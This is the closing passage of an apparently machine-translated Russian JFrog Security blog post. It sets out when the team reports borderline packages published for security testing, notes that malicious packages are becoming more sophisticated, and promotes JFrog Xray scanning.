    Хотя наши детекторы вредоносного кода пометили довольно много этих пакетов, мы не хотим сообщать обо всех из них, поскольку мы в JFrog Security поддерживаем эти меры по выявлению ошибок.Поэтому мы будем сообщать о таких пакетах только в следующих случаях, когда они являются пограничным вредоносным ПО:

    1. В описании пакета явно не упоминается, что этот пакет предназначен для тестирования безопасности
    2. Полезная нагрузка пакета выполняет излишне инвазивную операцию (например, оболочку подключения, сообщает обратно конфиденциальные данные, такие как пароли и т. Д.)

    Заключение

    Хотя этот набор вредоносных пакетов может не иметь тех же «зубов», что и наши предыдущие открытия, примечательно то, что уровень сложности, с которым они выполняются, растет.Он не достигает вашего кошелька средь бела дня — но с этими пакетами творится гораздо больше уловок, и некоторые из них могут даже настраиваться на последующую атаку после первоначальной разведки, вместо того, чтобы проводить очень компрометирующую полезная нагрузка для начала.

    Оставайтесь с нами

    Помимо выявления новых уязвимостей и угроз безопасности, JFrog предоставляет разработчикам и группам безопасности легкий доступ к последней актуальной информации об их программном обеспечении с помощью автоматического сканирования безопасности с помощью JFrog Xray.Следите за обновлениями продуктов, включая автоматическое обнаружение уязвимостей и вредоносного кода для защиты от новейших возникающих угроз.

    Вопросы? Мысли? Свяжитесь с нами по адресу [email protected]